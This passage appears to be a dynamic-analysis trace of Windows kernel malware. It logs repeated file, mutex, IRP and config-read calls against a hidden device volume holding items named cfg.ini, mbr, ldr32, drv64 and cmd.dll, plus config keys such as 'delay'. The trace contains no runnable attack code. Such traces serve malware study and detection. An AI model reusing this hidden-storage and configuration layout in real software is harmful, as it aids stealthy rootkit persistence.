(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.198] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.198] KeEnterCriticalRegion () [0126.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.198] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.198] IdePortDispatch () returned 0x103 [0126.198] KeWaitForMutexObject () returned 0x0 [0126.199] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.199] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.199] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.199] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.199] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.199] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.199] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.199] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.199] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.199] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.199] KeLeaveCriticalRegion () [0126.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.199] ReleaseMutex (hMutex=0x100) returned 1 [0126.199] Sleep (dwMilliseconds=0x2bf20) [0126.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e6b4b90, dwHighDateTime=0x1d24fa4)) [0126.205] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.205] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.205] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.205] KeEnterCriticalRegion () [0126.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.205] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.205] IdePortDispatch () returned 0x103 [0126.205] KeWaitForMutexObject () returned 0x0 [0126.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.206] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.206] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.206] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.206] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.206] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac96a0 [0126.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] KeLeaveCriticalRegion () [0126.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.206] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.206] KeEnterCriticalRegion () [0126.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] KeLeaveCriticalRegion () [0126.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.206] KeEnterCriticalRegion () [0126.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.206] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.206] IdePortDispatch () returned 0x103 [0126.206] KeWaitForMutexObject () returned 0x0 [0126.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] KeLeaveCriticalRegion () [0126.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.206] KeEnterCriticalRegion () [0126.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d1000 [0126.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.207] IdePortDispatch () returned 0x103 [0126.207] KeWaitForMutexObject () returned 0x0 [0126.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.207] IdePortDispatch () returned 0x103 [0126.207] KeWaitForMutexObject () returned 0x0 [0126.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.207] KeLeaveCriticalRegion () [0126.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.207] KeEnterCriticalRegion () [0126.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] KeLeaveCriticalRegion () [0126.208] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.208] KeEnterCriticalRegion () [0126.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.208] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] KeLeaveCriticalRegion () [0126.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.208] KeEnterCriticalRegion () [0126.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] ExFreePoolWithTag (P=0xfffffa8003ac96a0, Tag=0x0) [0126.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] KeLeaveCriticalRegion () [0126.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.208] ReleaseMutex (hMutex=0xf0) returned 1 [0126.208] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.208] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.208] KeEnterCriticalRegion () [0126.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.208] IdePortDispatch () returned 0x103 [0126.208] KeWaitForMutexObject () returned 0x0 [0126.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.208] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.208] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.208] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.208] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.208] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800388f7a0 [0126.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.208] KeLeaveCriticalRegion () [0126.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.209] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.209] KeEnterCriticalRegion () [0126.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.209] KeLeaveCriticalRegion () [0126.209] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.209] KeEnterCriticalRegion () [0126.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.209] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.209] IdePortDispatch () returned 0x103 [0126.209] KeWaitForMutexObject () returned 0x0 [0126.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.209] KeLeaveCriticalRegion () [0126.209] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.209] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.209] KeEnterCriticalRegion () [0126.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d2000 [0126.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.209] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.209] IdePortDispatch () returned 0x103 [0126.209] KeWaitForMutexObject () returned 0x0 [0126.209] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.210] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.210] IdePortDispatch () returned 0x103 [0126.210] KeWaitForMutexObject () returned 0x0 [0126.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.210] KeLeaveCriticalRegion () [0126.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.210] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.210] KeEnterCriticalRegion () [0126.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.210] KeLeaveCriticalRegion () [0126.210] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.210] KeEnterCriticalRegion () [0126.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.210] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.210] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.210] KeLeaveCriticalRegion () [0126.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.210] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.211] KeEnterCriticalRegion () [0126.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] ExFreePoolWithTag (P=0xfffffa800388f7a0, Tag=0x0) [0126.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] KeLeaveCriticalRegion () [0126.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.211] ReleaseMutex (hMutex=0xf0) returned 1 [0126.211] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.211] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.211] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.211] KeEnterCriticalRegion () [0126.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.211] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.211] IdePortDispatch () returned 0x103 [0126.211] KeWaitForMutexObject () returned 0x0 [0126.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.211] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.211] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.211] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.211] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.211] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365bf60 [0126.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] KeLeaveCriticalRegion () [0126.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.211] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.211] KeEnterCriticalRegion () [0126.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.211] KeLeaveCriticalRegion () [0126.211] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.211] KeEnterCriticalRegion () [0126.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.212] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.212] IdePortDispatch () returned 0x103 [0126.212] KeWaitForMutexObject () returned 0x0 [0126.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.213] KeLeaveCriticalRegion () [0126.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.213] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.213] KeEnterCriticalRegion () [0126.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d3000 [0126.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.213] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.213] IdePortDispatch () returned 0x103 [0126.213] KeWaitForMutexObject () returned 0x0 [0126.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.213] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.213] IdePortDispatch () returned 0x103 [0126.213] KeWaitForMutexObject () returned 0x0 [0126.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.213] KeLeaveCriticalRegion () [0126.213] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.214] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.214] KeEnterCriticalRegion () [0126.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] KeLeaveCriticalRegion () [0126.214] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.214] KeEnterCriticalRegion () [0126.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.214] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] KeLeaveCriticalRegion () [0126.214] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.214] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.214] KeEnterCriticalRegion () [0126.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] ExFreePoolWithTag (P=0xfffffa800365bf60, Tag=0x0) [0126.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] KeLeaveCriticalRegion () [0126.214] IofCompleteRequest 